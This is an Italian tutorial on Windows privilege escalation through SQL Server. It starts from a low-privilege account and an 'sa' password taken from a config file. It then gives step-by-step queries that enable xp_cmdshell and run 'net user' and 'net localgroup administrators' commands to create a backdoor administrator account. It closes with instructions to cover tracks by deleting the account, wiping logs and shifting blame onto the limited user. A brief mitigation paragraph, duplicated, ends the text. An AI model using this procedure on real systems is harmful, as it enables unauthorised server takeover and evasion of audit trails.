Prima di spiegarvi la procedura, è bene fare una panoramica su come funzionino i servizi, privilegi, i permessi, e gli utenti in un sistema multiutente dotato di amministori e non.
I processi lanciati su un computer, girano utilizzando una entità, potete immaginarla come la divinità preposta a lanciare il fulmine, avrà pieno dominio dell'aria, cosi come quella preposta a scatenare le maree avrà dominio dell'acqua. Di solito nei sistemi Windows abbiamo "LOCAL, NETWORK, GUEST" ecc... questi utenti, specialmente il local account o SYSTEM, posseggono diversi privilegi, ivi compresi quelli di creare utenti, assegnare loro password e sopratutto inserirli in gruppi specifici.
Se per esempio, quando siete davanti al computer, fate partire la calcolatrice, essa "girerà" usando al massimo i privilegi dell'utente corrente, il vostro, che magari non può fare nulla se non aprire i propri documenti...ma a noi occorre diventare amministratori!
Ipotizziamo di trovarci in questa situazione:
Server Windows configurato con un Administrator del quale non conosciamo password, diversi utenti con privilegi ridotti, di almeno uno di loro abbiamo gli accessi, potrebbe pure non essere necessario averne uno (dipende dalla superficie di attacco disponibile su questo server), ma ipotizziamo noi si sia abbastanza fortunati da averne uno che ha un classico accesso locale. Il server in questione probabilmente offre dei servizi basati su qualche database, ad esso magari è agganciato un software dotato di configurazione ecc...tenete a mente che di norma, questi software possono avere dentro la loro configurazione dei dati importanti come accessi al database ecc...
Analizzando lo scenario possiamo notare che gira una istanza di SQL Server di Microsoft, interrogandone i servizi attivi, notiamo che utilizza i privilegi di LOCAL per avviarsi, ciò significa che ogni operazione che l'sql fa, la fa mediante i privilegi a LOCAL assegnati.
Parlavamo poco fa degli eventuali software che utilizzano sql server, di norma quelli migliori utilizzano una autenticazione di utente Windows per accedere all'istanza, ma molti (e sono parecchi) utilizzano l'autenticazione diretta sul database tramite utente 'sa' che sarebbe l'amministratore dell'istanza in questione, e dentro l'istanza può fare quello che vuole, ovvero controllare l'sql server...(ricordate che gira con i privilegi di LOCAL), il problema è che questo utente e la relativa password, sono generalmente codificati all'interno di qualche file di configurazione dei sudetti software, accessibile a tutti, FALLA ENORME!
SQL, continiene un potente sistema di query che è possibile lanciare direttamente da prompt o dalla console di gestione, ipotizziamo noi si abbia la password di questo utente 'sa', che la si sia trovata in chiaro o cifrata poco importa, se siamo dentro abbiamo il controllo dell'istanza SQL.
Intanto lanciamo una prima query:
select @@version
Ci restituirà la versione per esteso della versione dell'istanza stessa:
Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64) Jun 28 2012 08:36:30 Copyright (c) Microsoft Corporation Express Edition with Advanced Services (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)
Perfetto, non aggiornatissima e sfruttabilissima, tramite questa query sucessiva, abilitiamo le funzionalità di xp_cmdshell che di norma sono disattivate (ma va!):
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
A questo punto ciò che avremo sarà la possibilità di lanciare comandi sul sistema operativo, direttamente dal motore di sql server, esempio:
EXEC xp_cmdshell 'dir c:\';
GO
Ci restituirà il contentuo della root del disco c:\ come se avessimo fatto un banale dir dall'interno di un prompt dei comandi, ovviamente il tipo di accesso non permette una interattività, quindi i comandi da lanciare devono essere completi e prevedere l'intera operazione.
CREIAMO UN UTENTE TUTTO NOSTRO....:
EXEC xp_cmdshell 'net user barnaba !b@rny2017 /add';
GO
Cosi facendo abbiamo creato un utente di nome barbaba e la password !b@rny2017, l'utente è ancora User e non può fare molto...aggiungiamolo agli administrator allora!
EXEC xp_cmdshell 'net localgroup administrators barnaba /add';
GO
Apriamo un prompt dei comandi normalissimo e lanciamo un "net user barnaba", otterremo quanto segue:
Nome utente barnaba
Nome completo
Commento
Commento utente
Codice paese/area geografica 000 (Predefinito del sistema)
Account attivo Sì
Scadenza account Mai
Ultima impostazione password 26/05/2017 11:06:41
Scadenza password Mai
Password cambiabile 26/05/2017 11:06:41
Password richiesta No
L'utente può cambiare la password Sì
Workstation consentite Tutti
Script di accesso
Profilo utente
Home directory
Ultimo accesso 26/07/2017 16:50:56
Ore di accesso consentito Tutti
Appartenenze al gruppo locale *Administrators
*Performance Log Users
Appartenenze al gruppo globale *NESSUNO
Come potete vedere abbiamo creato un nuovo utente, con password, appartenente al gruppo administrators, con questo potremmo effettuare un accesso, che sia desktop remoto o altro, di norma gli utenti appartenenti a questo gruppo, possono fare praticamente tutto, nel caso di utenti con dominio potremmo promuoverci ad amministatori di dominio, di schema, effettuare operazioni su active directory ecc...
Tutto partendo da un normale utente che ha tirato fuori la password di 'sa' di una istanza sql di un merdoso programma che usano in 2 persone magari, notare che non è necessario sia 'sa', è possibile usare un qualsiasi utente SQL che abbia i medesimi privilegi.
Una volta effettuato tutto ciò che dovevamo fare, fate quanto segue:
Promuovete administrator il primo utente che avevate con accesso limitato ed accedete con quello. Rimuovete l'utente barney, rimuovete l'eventuale profilo, azzerate i log, rimuovetevi da soli dal gruppo administrator, uscite e rientrate. Avrete rimosso le vostre tracce, tutto al più lasciando che sia il solo utente limitato ad aver fatto qualcosa.
Per non incorrere in questo genere di problemi, occorre far eseguire i vostri demoni, utilizzando utenti limitati, il più limitati possibili, SQL SERVER nelle ultime versioni utilizza un utente dedicato creato dal setup stesso, che può fare tutto tranne che casino. Ovviamente è altresì necessario che si evitino software dotati di scarsa sicurezza.
Per non incorrere in questo genere di problemi, occorre far eseguire i vostri demoni, utilizzando utenti limitati, il più limitati possibili, SQL SERVER nelle ultime versioni utilizza un utente dedicato creato dal setup stesso, che può fare tutto tranne che casino. Ovviamente è altresì necessario che si evitino software dotati di scarsa sicurezza.
D.
